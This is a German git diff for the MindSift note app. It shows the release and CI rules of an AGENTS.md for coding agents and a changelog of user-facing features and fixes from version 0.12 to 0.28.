- `frontend/package.json` (Feld `version`)
|
||||||
|
- `frontend/package-lock.json`: nur die beiden Versionszeilen von MindSift selbst (Zeile 3 und 9), nicht die gleichlautenden Versionen von Abhängigkeiten
|
||||||
|
- Versions-Badge oben in `README.md`
|
||||||
|
2. **CHANGELOG:** neuer Abschnitt `## [x.y.z] - JJJJ-MM-TT` unter `## [Unreleased]` (Format *Keep a Changelog*, Abschnitte Added/Changed/Fixed), unten die Vergleichslinks `[Unreleased]` und `[x.y.z]` anpassen. Einträge auf Deutsch und aus Sicht der Nutzer.
|
||||||
|
3. **Doku nachziehen**, wenn sich Verhalten oder API ändern (`README.md`, `Doku/api/rest.md`, `Doku/architecture.md`).
|
||||||
|
4. Committen, dann **nur nach `dev` pushen**.
|
||||||
|
5. **Warten, bis der `dev`-Build auf dem Server grün ist.** Schlägt er fehl: auf `dev` beheben, nicht nach `main` mergen.
|
||||||
|
6. Nach `main` mergen (`git merge --no-ff dev -m "Merge dev into main (vx.y.z)"`) und pushen.
|
||||||
|
7. **Warten, bis der `main`-Build grün ist.** Erst dann gilt das Release als draußen.
|
||||||
|
|
||||||
|
Ist ein Release nie gebaut worden (CI fehlgeschlagen), bleibt die Versionsnummer, und die Korrektur kommt in denselben CHANGELOG-Abschnitt.
|
||||||
|
|
||||||
|
**Git-Tags nur auf ausdrücklichen Wunsch.** Tags lassen zusätzliche Images bauen; genutzt werden nur `:dev` und `:latest`. Wenn gewünscht: `git tag -a vx.y.z -m "MindSift vx.y.z"` auf den Merge-Commit in `main` und den Tag pushen.
|
||||||
|
|
||||||
|
Fremde Branches (z. B. von anderen Agenten) werden vor dem Mergen geprüft.
|
||||||
|
|
||||||
|
### CI auf dem Git-Server
|
||||||
|
|
||||||
|
- Workflow: `.gitea/workflows/build-and-publish.yaml`, Entscheidung in `.gitea/scripts/build-plan.sh`.
|
||||||
|
- `dev` → Image `:dev`, mit allen Tests (Dockerfile: tsc, Lint, Frontend-Tests, `go vet`, Go-Tests).
|
||||||
|
- `main` → Image `:latest` mit `APP_VERSION=v<package.json-Version>`; überspringt die Tests, wenn `:dev` aus demselben Code gebaut wurde. Deshalb erst nach grünem `dev`-Build mergen.
|
||||||
|
- Tag `v*` → `:vx.y.z` und `:stable`.
|
||||||
|
- Status der letzten Läufe:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "https://git.dsit.me/api/v1/repos/sandrodach/MindSift/actions/tasks?limit=4"
|
||||||
|
# workflow_runs[].head_branch / .status (success|failure|…) / .display_title
|
||||||
|
```
|
||||||
|
|
||||||
|
## Oberfläche
|
||||||
|
|
||||||
|
- **Einheitliche Bedienelemente:** Personen-Suche, Profilbild-Stapel, Zähler und weitere Muster stehen in [Doku/ui-patterns.md](Doku/ui-patterns.md). Vorhandene Komponenten verwenden statt neuer Varianten; neue gemeinsame Muster dort ergänzen.
|
||||||
|
- **Handy und Desktop:** Unter `sm` ist Handy-Layout, ab `lg` die volle Desktop-Ansicht (z. B. Seitenleiste neben der Notiz). Wird nur das Handy geändert, bleiben die Werte ab `sm`/`lg` exakt wie vorher.
|
||||||
|
- **Antippen am Handy:** Ziele mindestens 44 px hoch (`h-11 sm:h-…`). Auf reinen Touch-Geräten gibt es kein HTML5-Drag-&-Drop; Kanban nutzt dafür `useKanbanTouchDrag`, die Notizen die Leiste über der Tastatur (`MobileOutlineBar`).
|
||||||
|
- **Themes:** Farben nur über die Theme-Variablen bzw. Klassen (`bg-panel`, `bg-canvas`, `text-main`, `text-muted`, `border-border`, `bg-accent` …), keine festen Farben. Rahmen mit `bg-panel`/`bg-canvas` bekommen die Ecken des Themes automatisch; liegt darin ein Kopfbereich mit eigenem Hintergrund, braucht der Rahmen `overflow-hidden`, sonst ragen bei runden Ecken die Kanten heraus.
|
||||||
|
- **Installierte App (PWA):** Manifest-Änderungen (Farben, Verknüpfungen) übernimmt Android erst, wenn es die App aktualisiert (bis etwa einen Tag) oder nach Neuinstallation; normaler App-Code kommt beim nächsten Start. Ändert sich der Cache-Inhalt des Service Workers, `VERSION` in `frontend/public/sw.js` erhöhen.
|
||||||
@@ -0,0 +1,610 @@
|
|||||||
|
# Changelog
|
||||||
|
|
||||||
|
Alle nennenswerten Änderungen an MindSift stehen in dieser Datei.
|
||||||
|
|
||||||
|
Das Format folgt [Keep a Changelog](https://keepachangelog.com/de/1.1.0/), die Versionsnummern folgen ab v0.6.0 [Semantic Versioning](https://semver.org/spec/v2.0.0.html). Solange die Hauptversion 0 ist, können sich API und Datenformate mit jeder Minor-Version ändern; solche Änderungen stehen unter „Changed“ bzw. „Removed“ und sind mit **Achtung** markiert.
|
||||||
|
|
||||||
|
## [Unreleased]
|
||||||
|
|
||||||
|
## [0.28.0] - 2026-10-31
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- KI-Agenten anbinden (MCP): MindSift ist jetzt ein MCP-Server unter `POST /api/v1/mcp`. Claude Code, OpenAI Codex, Claude Desktop, Cursor und eigene Agenten können offene Aufgaben auslesen, abhaken, anlegen und ändern sowie Einkaufs- und Checklisten lesen, ergänzen und abhaken. Freigaben gelten wie für dich selbst; Notizen bleiben für Agenten unerreichbar.
|
||||||
|
- API-Keys haben dafür neue Berechtigungen: Aufgaben lesen / ändern, Listen lesen / ändern. Der Agent sieht nur die Werkzeuge, für die sein Key freigegeben ist. Die Einstellungen zeigen den fertigen Befehl für Claude Code, die `config.toml` für Codex und die JSON-Konfiguration für Claude Desktop und Cursor.
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Einstellungen: Die Berechtigungen eines API-Keys und die Bereiche beim Import und Wiederherstellen (Notizen, Aufgaben, Listen, Inbox, Themes) sind jetzt Schalter wie im Rest der Einstellungen statt anklickbarer Buttons mit Haken.
|
||||||
|
- Der Einstellungsbereich heißt jetzt „Webhooks, KI-Agenten & Export“.
|
||||||
|
|
||||||
|
## [0.27.1] - 2026-10-31
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Notizen am Handy: Die Leiste zum Ein- und Ausrücken über der Tastatur blieb stehen, wenn man die Tastatur schloss (z. B. mit der Zurück-Taste), und verdeckte die untere Navigation. Sie erscheint jetzt nur, solange die Tastatur offen ist; ein Tipp in den Punkt holt beides zurück.
|
||||||
|
|
||||||
|
## [0.27.0] - 2026-10-31
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Demo: Wer die Demo zum ersten Mal öffnet, sieht sie im runden Theme Fjord Nacht statt im eckigen Standard. Ein selbst gewähltes Theme bleibt erhalten; echte Installationen sind nicht betroffen.
|
||||||
|
|
||||||
|
## [0.26.1] - 2026-10-31
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Notizen am Handy: Ein Tipp rechts neben einen Punkt löste die unsichtbaren Knöpfe aus (In eigene Notiz umwandeln, Fokus, Löschen …). Die Knöpfe reagieren jetzt nur noch, wenn sie zu sehen sind, also beim Bearbeiten des Punkts.
|
||||||
|
- Notizen: Ein Punkt, der schon in eine eigene Notiz umgewandelt wurde (nur noch der Link, ggf. mit Hashtags), lässt sich nicht noch einmal umwandeln; der Knopf und `/extract` fehlen dort. Bisher entstand dabei eine zweite Notiz, die nur den Link enthielt.
|
||||||
|
- Hinweis nach dem Umwandeln am Handy („Öffnen“, „Rückgängig“): sitzt jetzt über der unteren Leiste statt am Bildschirmrand, Text oben (höchstens zwei Zeilen), Knöpfe darunter.
|
||||||
|
|
||||||
|
## [0.26.0] - 2026-10-31
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Verbindungsstatus im Kopf: Ist der Server nicht erreichbar, steht am Desktop unter deinem Namen klein „● offline“ mit rotem Punkt; die Seite bleibt bedienbar. Am Handy zeigt ein kleiner Punkt unten rechts am Profilbild den Status (grün online, rot offline). Das funktioniert auch, wenn nur der Server ausgefallen ist und das Gerät selbst noch Netz hat – bisher war das nur in den Listen zu sehen.
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Screenshots im README sind jetzt kleinere WebP-Bilder (zusammen etwa 0,5 statt 2,7 MB); das Journal-Bild zeigt die aktuelle Ansicht.
|
||||||
|
|
||||||
|
## [0.25.1] - 2026-10-31
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Tafeln von unten am Handy (neuer Listeneintrag, neue Notiz, neue Liste, neuer Ordner …): Bei runden Ecken waren sie auch unten abgerundet und hatten einen Rahmen rundherum, sodass sie nicht sauber an der Tastatur anlagen. Jetzt sind sie wie die übrigen Tafeln nur oben rund und unten eckig; am Desktop bleibt das Fenster rundum abgerundet.
|
||||||
|
|
||||||
|
## [0.25.0] - 2026-10-31
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Einkaufslisten am Handy: Das Eingabefeld steht nicht mehr dauerhaft über der Liste. „+“ öffnet es als Tafel von unten (wie bei Aufgaben und Triage); nach „Hinzufügen“ bleibt sie offen und leer für den nächsten Eintrag. Am Desktop bleibt das Feld wie bisher.
|
||||||
|
- Notizen am Handy: „+“ (und „Neue Notiz“ im Menü) fragt zuerst Name und Emoji ab; erst „Erstellen“ legt die Notiz an. Ein versehentlicher Tipp hinterlässt so keine leere Notiz mehr. Am Desktop entsteht die Notiz wie bisher sofort.
|
||||||
|
|
||||||
|
## [0.24.2] - 2026-10-31
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Triage am Handy: „Auf Liste“ (bei mehreren Listen) und „Mit Termin“ taten nichts, weil ihre Auswahl nur am Desktop eingeblendet wurde. Am Handy öffnen sie jetzt das große Auswahlfenster von unten (wie beim langen Drücken auf die Karte).
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- `TODO.md` mit offenen und zurückgestellten Aufgaben im Repository.
|
||||||
|
|
||||||
|
## [0.24.1] - 2026-10-31
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Einkaufslisten offline: Neue Einträge ohne Verbindung meldeten „keine Verbindung zum Server“. Jetzt erscheinen sie sofort in der Liste (mit kleinem Wolken-Symbol), bleiben auch nach einem Neuladen sichtbar und werden gesendet, sobald die Verbindung zurück ist. Abhaken, Löschen oder Menge ändern, bevor sie gesendet wurden, wirkt direkt auf den wartenden Eintrag.
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Einkaufslisten: Das Feld für neue Einträge ist jetzt als Eingabefeld erkennbar (Rahmen, Plus im Feld) und nimmt den meisten Platz ein; Menge und „Hinzufügen“ sind gleich hoch daneben bzw. am Handy darunter.
|
||||||
|
|
||||||
|
## [0.24.0] - 2026-10-31
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- **E-Mail-Adresse bestätigen:** Neue Einstellung (Administration → Server & Isolation, oder `REGISTRATION_VERIFY_EMAIL=true`). Wer sich ohne Einladung registriert, bekommt einen Link per E-Mail und ist erst danach aktiv; in den Freigabe-Modi geht das Konto danach an die Admins, die auch erst dann benachrichtigt werden. Beim Anmelden vor der Bestätigung gibt es „Link erneut senden“. Unbestätigte Konten werden nach 48 Stunden gelöscht, die Adresse ist dann wieder frei. Wirkt nur mit Mail-Server und `BASE_URL`; Einladungen brauchen keine Bestätigung.
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Einladung erzeugen: Die E-Mail-Adresse steht vorne und hat mehr Platz, „Wie oft verwendbar“ ist schmal.
|
||||||
|
|
||||||
|
## [0.23.0] - 2026-10-31
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- **Einladungslinks:** Jeder Einladungscode ist auch ein Link (`/?invite=CODE`), der die Registrierung mit eingetragenem Code öffnet. In der Administration gibt es dafür „Link kopieren“ und – mit Mail-Server – „Per E-Mail“ (Einladung im MindSift-Layout mit Knopf „Konto anlegen“; einmalige Codes werden dabei an die Adresse gebunden).
|
||||||
|
- **Ein Link für mehrere Personen:** Beim Erzeugen „Wie oft verwendbar“ angeben (z. B. 20); die Liste zeigt „3 von 20 verwendet“. Auch gleichzeitige Registrierungen können einen Link nie öfter einlösen als erlaubt.
|
||||||
|
- **Registrierung mit Freigabe und nach E-Mail-Endung:** Statt „offen/geschlossen“ gibt es fünf Modi – geschlossen, mit Freigabe durch einen Admin, nur bestimmte E-Mail-Endungen, Endungen sofort und alle anderen nach Freigabe, offen. Wartende Konten stehen in der Administration unter „Wartet auf Freigabe“ (Freigeben/Ablehnen); Admins bekommen eine E-Mail, die Person nach der Freigabe ebenfalls. Bis dahin ist keine Anmeldung möglich (mit Hinweis). Das Registrierungsformular erklärt, welche Adressen erlaubt sind.
|
||||||
|
- Neue Umgebungsvariablen `REGISTRATION_MODE` und `REGISTRATION_DOMAINS`: Gesetzt gelten sie und sind in der Administration gesperrt. `ALLOW_REGISTRATION=true` entspricht `REGISTRATION_MODE=open`.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- `ALLOW_REGISTRATION` wurde bisher gar nicht ausgewertet; die Registrierung ließ sich in der Administration unabhängig davon ein- und ausschalten.
|
||||||
|
|
||||||
|
## [0.22.2] - 2026-10-31
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Spracheingabe über den Browser (ohne Whisper-Server): In Chrome auf Android wurde ein Satz mehrfach übernommen („TestTestTestTest 1 2 3“ statt „Test 1 2 3“), weil Android jeden Zwischenstand als eigenes Ergebnis liefert. Fortsetzungen ersetzen jetzt den vorherigen Stand.
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- `AGENTS.md` mit Regeln für Coding-Agenten (Sprache, Prüfen, Release-Ablauf über die CI) und ein Plan für Registrierung mit Freigabe/E-Mail-Endungen und Anmeldung per OpenID Connect (`Doku/plans/`).
|
||||||
|
|
||||||
|
## [0.22.1] - 2026-10-31
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Push-Benachrichtigungen: Nach dem Neuinstallieren der App zählte die alte Installation als weiteres Gerät mit („2 aktiv“), bis der nächste Push sie aussortierte. Schaltet ein Gerät Push neu ein, meldet es jetzt seine alte Anmeldung mit ab. Außerdem zeigen die Einstellungen alle Geräte einzeln (mit Datum und „dieses Gerät“) und jedes lässt sich entfernen.
|
||||||
|
- Tageszusammenfassung und Neuigkeiten per E-Mail: Die Begrüßung („Guten Morgen“) richtete sich nach der Uhr beim Versand statt nach der Zeit, für die die Nachricht gedacht ist. Dadurch schlug ab mittags auch ein Test fehl, und der Build von 0.22.1 brach ab – die Version kommt erst mit diesem Fix an.
|
||||||
|
|
||||||
|
## [0.22.0] - 2026-10-31
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Kanban am Handy und Tablet: Karten lassen sich mit dem Finger verschieben – kurz gedrückt halten, bis sie sich anhebt, dann auf eine andere Karte oder Spalte ziehen und loslassen. Am Rand scrollt die Seite mit (am Handy stehen die Spalten untereinander). Ein kurzer Tipp öffnet die Aufgabe wie bisher, Wischen scrollt.
|
||||||
|
- Admin-Einstellungen: Datenbank-Backups lassen sich neben „Download“ auch löschen (mit Rückfrage). Nur für Admins; Benutzer-Backups laufen weiter über die Aufbewahrungsdauer ab. Neu dafür ist `DELETE /api/v1/admin/backups/{name}`.
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Meldung nach dem Teilen: größer und mit dem Daumen gut erreichbar – Text oben, darunter zwei große Knöpfe **Liste** und **Aufgabe** wie in der Triage, ein kleines ✕ in der Ecke; ein Tipp daneben schließt sie.
|
||||||
|
|
||||||
|
## [0.21.0] - 2026-10-31
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Teilen aus anderen Apps: Geteiltes landet wie bisher sofort im Quick Dump. Die Meldung danach bietet ein paar Sekunden lang **→ Aufgabe** und **→ Liste** an, um es mit einem Tipp stattdessen dort abzulegen (bei nur einer beschreibbaren Liste direkt, sonst mit kurzer Listenauswahl). Wer nichts tippt, behält den gewohnten Ablauf.
|
||||||
|
|
||||||
|
## [0.20.0] - 2026-10-31
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- App-Verknüpfungen (App-Icon gedrückt halten): Statt „Capture“ und „Triage“, die nur die Startseite öffneten, gibt es jetzt **Quick Dump**, **Neue Aufgabe** und **Einkaufsliste** mit eigenen Symbolen. Jede öffnet den passenden Bereich mit dem Eingabefeld (Quick-Dump-Fenster, „Neue Aufgabe“, neuer Listeneintrag). Alte Verknüpfungen führen weiter zum Quick Dump. Neue Verknüpfungen übernimmt Android, sobald es die App aktualisiert (oder nach Neuinstallation).
|
||||||
|
|
||||||
|
## [0.19.0] - 2026-10-31
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Notizen am Handy und Tablet: Solange man in einem Punkt schreibt, sitzt direkt über der Bildschirmtastatur eine schmale Leiste mit Ausrücken, Einrücken, Nach oben und Nach unten (ersetzt Tab / Umschalt+Tab). Der Punkt nimmt seine Unterpunkte mit, bleibt beim Verschieben unter seinem Elternpunkt, und die Tastatur bleibt offen. Mit Maus oder Stift erscheint die Leiste nicht.
|
||||||
|
|
||||||
|
## [0.18.1] - 2026-10-31
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Workspace am Handy: Nach dem Öffnen des Journals und „Zurück“ blieb der Journal-Eintrag halb markiert, und er war kleiner beschriftet als die Ordner. Er sieht jetzt aus wie ein normaler Eintrag (gleiche Höhe und Schrift wie die Ordner); am Desktop öffnet er sich wie bisher als Bereich mit Kalender.
|
||||||
|
|
||||||
|
## [0.18.0] - 2026-10-31
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- E-Mails haben ein einheitliches Aussehen im Stil der App: Logo mittig oben, darunter eine Karte mit Begrüßung („Guten Morgen, …“ je nach Tageszeit), dem eigentlichen Inhalt und einem Knopf zur App, unten der Hinweis, warum die E-Mail kommt. Das Logo steckt in der E-Mail selbst (erscheint also auch ohne nachgeladene Bilder und ohne `BASE_URL`); jede E-Mail hat zusätzlich eine gleich aufgebaute Textfassung.
|
||||||
|
- Tageszusammenfassung: Aufgaben stehen in Abschnitten „Überfällig“, „Heute“ und „Morgen“, mit Uhrzeit und Liste darunter.
|
||||||
|
- Fälligkeits-Alarm, Neuigkeiten, Passwort zurücksetzen, Kontoänderung (mit hervorgehobenem Sicherheitshinweis), Test-Alarm und SMTP-Test nutzen dasselbe Layout; bisher kamen die meisten davon als reiner Text.
|
||||||
|
|
||||||
|
## [0.17.4] - 2026-10-31
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Benutzermenü: Bei runden Ecken (Theme-Einstellung) ragte der eckige Kopfbereich mit Name und Rolle oben über den Rand des Menüs hinaus.
|
||||||
|
|
||||||
|
## [0.17.3] - 2026-10-31
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Fälligkeits-Benachrichtigungen kamen nach jedem Verschieben im Kanban-Board erneut: Beim Verschieben wurde für alle offenen Aufgaben der betroffenen Spalten vermerkt, dass ihr Alarm noch aussteht. Jetzt bekommt nur eine Aufgabe, die von „Erledigt“ wieder geöffnet wird, ihren Alarm erneut.
|
||||||
|
|
||||||
|
## [0.17.2] - 2026-10-31
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Workspace am Handy: Notizen, To-Dos und Hashtags wechselt man jetzt wie bei Aufgaben und Einkaufslisten über das Menü oben (Logo); die Reiterzeile entfällt dort. Ordner und Notizen in der Liste sind so hoch wie das Suchfeld (44 px) und damit leichter zu treffen.
|
||||||
|
- Aufgaben am Handy: Die Kopfleiste ist bei „Alle Aufgaben“ genauso hoch wie bei einzelnen Listen und wie bei den Einkaufslisten.
|
||||||
|
|
||||||
|
## [0.17.1] - 2026-10-31
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Kanban maximieren: Nur noch das Board wird breiter, Listen-Reiter und „Neue Aufgabe anlegen“ behalten ihre Breite. Das Board wächst weich animiert, jede Spalte wird höchstens 380 px breit und das Board bleibt mittig (bei wenigen Spalten also schmaler als das Fenster).
|
||||||
|
|
||||||
|
- Ladebildschirm: Statt immer in Blau erscheint er in den Farben des zuletzt auf dem Gerät genutzten Themes (Hintergrund, Logo in der Akzentfarbe, Statusleiste passend); beim allerersten Besuch bleibt er blau. Neu dafür ist `boot-theme.js` (eigene Datei wegen der Content-Security-Policy); die App-Caches werden einmal erneuert.
|
||||||
|
|
||||||
|
- Journal: Vor dem Titel eines Tages steht statt des bunten Kalender-Emojis ein schlichtes Kalender-Symbol in der Textfarbe des Themes (nicht anklickbar, das Icon lässt sich im Journal ohnehin nicht ändern).
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- App installieren am Handy: Meldet Chrome erst nach dem Öffnen der Anleitung, dass MindSift installierbar ist (z. B. kurz nach dem Entfernen der alten App), erscheint in der Anleitung jetzt ein Knopf „Jetzt installieren“ für die direkte Installation.
|
||||||
|
|
||||||
|
## [0.17.0] - 2026-10-31
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Aufgaben und Kanban: Eine Aufgabe lässt sich auf den Reiter einer anderen Aufgabenliste ziehen und landet dort wie eine neue Aufgabe. Ihren Kanban-Status behält sie, wenn die Zielliste diese Spalte hat, sonst startet sie in der ersten Spalte. Nur lesbare Listen nehmen nichts an.
|
||||||
|
- Einkaufslisten: Einträge lassen sich genauso auf den Reiter einer anderen Liste ziehen; Kategorie, Menge und Haken bleiben erhalten. Neu dafür ist `POST /api/v1/lists/{id}/items/{itemId}/move` (Bearbeitungsrecht in beiden Listen nötig).
|
||||||
|
- Aufgaben und Einkaufslisten merken sich beim Wechsel zwischen den Reitern der App die offene Liste, Aufgaben außerdem Liste oder Kanban (pro Browser-Tab, wie der Workspace).
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Einkaufslisten: Die Verbindungsanzeige oben rechts sieht jetzt aus wie bei den Notizen (Punkt und „Live“ bzw. „Offline“) statt des alten Funk-Symbols.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Push-Benachrichtigungen am Handy: In der Statusleiste erschien statt des Gehirn-Symbols nur ein einfarbiges Quadrat. Android nutzt dort nur die Transparenz des Bildes; MindSift liefert dafür jetzt ein eigenes Symbol (weißes Gehirn auf transparentem Grund). Die App-Caches werden einmal erneuert.
|
||||||
|
|
||||||
|
## [0.16.1] - 2026-10-31
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- README-Screenshots aufgeräumt: Nur noch das Titelbild ist diagonal hell/dunkel geteilt, Handy und übrige Ansichten zeigen jeweils ein Theme. Neu ist ein Raster mit den Farbfamilien Fjord, Terrakotta, Polarized und Suri (je hell/dunkel diagonal, im Kanban-Board).
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Einstellungen am Handy: Bei der Tageszusammenfassung ragten die Kanal-Schalter (E-Mail, Discord, Webhook, Push) rechts aus dem Bild. Am Handy stehen sie jetzt zu zweit untereinander.
|
||||||
|
|
||||||
|
## [0.16.0] - 2026-10-31
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Kanban: Neben „Spalten anpassen“ streckt ein kleiner Knopf (diagonale Pfeile) das Board auf die volle Fensterbreite; alle Spalten stehen dann nebeneinander. Die Einstellung merkt sich der Browser, am Handy gibt es den Knopf nicht.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Aufgaben: Ein neuer Quick-Dump-Eintrag (z. B. per Spracheingabe über das gehaltene Plus) tauchte kurz oben in den Aufgaben auf, obwohl er in die Triage gehört. Live-Änderungen nehmen jetzt nur noch echte Aufgaben auf; eine per „Rückgängig“ zurück in die Triage geholte Aufgabe verschwindet auch sofort aus der Liste.
|
||||||
|
- Kanban: Bei runden Ecken (Theme-Einstellung) ragten die eckigen Spaltenüberschriften oben über den Spaltenrand hinaus.
|
||||||
|
|
||||||
|
## [0.15.1] - 2026-10-31
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Triage am Handy: Die Warteschlange lässt sich wieder zuklappen („Warteschlange ausblenden“) und fährt beim Auf- und Zuklappen weich auf bzw. zu.
|
||||||
|
- Triage auf dem Desktop: Notizen, die auf einem anderen Gerät einsortiert oder gelöscht wurden, verschwinden jetzt sofort auch hier (bisher wurde nur der Aufgaben-Tab aktualisiert). Kommt der Tab wieder in den Vordergrund, lädt er außerdem neu, falls Änderungen im Hintergrund verpasst wurden.
|
||||||
|
- Aufgaben: Ein Tipp irgendwo auf die Aufgabe öffnet sie jetzt zuverlässig, nicht nur auf den Text. Bisher schluckten die Zeile mit Datum/Tags und in Kanban die Pfeil-Leiste jeden Tipp, und am Handy konnte ein etwas längerer Tipp als Ziehen gewertet werden (Ziehen gibt es nur noch mit Maus oder Stift).
|
||||||
|
|
||||||
|
## [0.15.0] - 2026-10-31
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Hashtag-Übersicht: Kacheln sind breiter (so viele Spalten wie mit mindestens 18rem passen), Tag-Namen und Notiztitel haben mehr Platz.
|
||||||
|
- README überarbeitet und Screenshots erneuert: jedes Bild zeigt links das helle und rechts das dunkle Theme (diagonal geteilt), neu sind Journal und Notiz am Handy. `e2e/screenshots.sh` erzeugt die Paare selbst (`SHOT_LIGHT`/`SHOT_DARK` für andere Farbfamilien) und läuft wie die Tests mit eigenem Container und Port.
|
||||||
|
|
||||||
|
## [0.14.3] - 2026-10-31
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Slash-Menü: Befehle, deren Name mit dem Getippten beginnt, stehen oben (`/li` → zuerst `/link`), danach Aliase, dann Treffer im Namen, zuletzt in der Beschreibung.
|
||||||
|
- Link-Vorschau: Karte und Bild etwa doppelt so hoch; statt der nackten Adresse steht darunter eine kleine Link-Markierung (Domain und Pfad) in der Akzentfarbe des Themes.
|
||||||
|
- Links in normalen Punkten: Die grüne Markierungsleiste unter dem Punkt entfällt; Web-Adressen im Text sind jetzt direkt anklickbar (Satzzeichen am Ende gehören nicht zum Link).
|
||||||
|
|
||||||
|
## [0.14.2] - 2026-10-31
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Installierte App: Der Service Worker lieferte `manifest.json` zuerst aus dem Cache, sodass der Browser bei der Prüfung auf geänderte App-Farben noch die alte blaue Fassung sah. Das Manifest kommt jetzt immer frisch vom Server (Cache nur offline); die App-Caches werden einmal erneuert.
|
||||||
|
|
||||||
|
## [0.14.1] - 2026-10-30
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Benutzermenü: Der Hell/Dunkel-Schalter ragte aus dem Menü heraus und zeigte „Wie System“ nicht an, wenn sich dabei das Theme nicht änderte. Er steht jetzt in einer eigenen Zeile (Hell · Dunkel · System) und zeigt jede Auswahl sofort.
|
||||||
|
- Footer: eine gleichmäßige, kleinere Zeile („MindSift v… · Über MindSift“, rechts die Rechtstexte) in einheitlicher Schrift statt fett/Monospace gemischt, die schief wirkte.
|
||||||
|
|
||||||
|
## [0.14.0] - 2026-10-30
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Themes als Farbfamilien mit je einer hellen und dunklen Variante: Klassik, **Fjord** (neu, Gletscherblau / Nachtblau), Terrakotta, Polarized (neu: **Polarized Hell**), Suri (neu: **Suri Hell**).
|
||||||
|
- Darstellung in den Kontoeinstellungen: Tabelle Familie × Hell/Dunkel, „Hell oder dunkel: Wie System“ (wechselt innerhalb der Familie mit dem Gerät), Ecken (Wie Theme / Rund / Eckig), Rahmen an Knöpfen (mit / ohne) und eine eigene Akzentfarbe (Vorschläge oder frei wählbar). Alles gilt pro Gerät.
|
||||||
|
- Benutzermenü und Handy-Profil: kompakte Schnellwahl mit einem Farbpunkt pro Familie und Hell / Dunkel / Wie System; eigene Themes darunter.
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Code-Farben aus `index.css` sind nur noch Rückfallwerte; die Code-Farben eines Themes gewinnen immer.
|
||||||
|
|
||||||
|
## [0.13.0] - 2026-10-30
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Neues Theme **Terrakotta Nacht**: das dunkle Gegenstück zu Terrakotta – Espresso-Braun, Creme-Schrift, glühender Terrakotta-Akzent, Salbeigrün, weiche Ecken.
|
||||||
|
- Animationen: Menüs (Benutzermenü, Drei-Punkte-Menü), Dialoge und Bottom-Sheets blenden und gleiten weich ein; am Handy schiebt sich eine Notiz von rechts herein und die Liste beim Zurück von links. Am PC bleibt der Notizwechsel sofort. Bei „Bewegung reduzieren“ im System gibt es keine Animationen.
|
||||||
|
|
||||||
|
### Removed
|
||||||
|
- Theme „Soft Slate“; wer es aktiv hatte, bekommt automatisch „Terrakotta Nacht“.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Die vorhandenen Ein-/Ausblend-Animationen (`animate-in`, `fade-in`, `slide-in-from-*`) liefen nie, weil das Tailwind-Plugin fehlte (`tailwindcss-animate`).
|
||||||
|
|
||||||
|
## [0.12.2] - 2026-10-30
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Triage am Desktop: Bei nur einer Liste mit langem Namen ragte „Aufgabe“ rechts über die Karte hinaus; der Listenname im Knopf wird jetzt gekürzt (voller Name im Tooltip).
|
||||||
|
|
||||||
|
## [0.12.1] - 2026-10-30
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Workspace → To-Dos: Die Gruppierung (Ordner → Notiz) wird pro Ebene gleichmäßig abgestuft – im hellen Theme jede Ebene etwas dunkler, im dunklen etwas heller – statt zwischen grau und weiß hin und her zu springen.
|
||||||
|
|
||||||
|
## [0.12.0] - 2026-10-30
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Neues Theme **Terrakotta**: warmes Cremepapier für Notizen, sandfarbene Seitenleiste, tintendunkle Schrift, gebrannter Terrakotta-Akzent mit Salbeigrün und weiche Ecken; Code-Hervorhebung in Erdtönen.
|
||||||
|
|
||||||
|
### Removed
|
||||||
|
- Theme „High Contrast“. Wer es aktiv hatte, bekommt automatisch „MindSift Dark“.
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
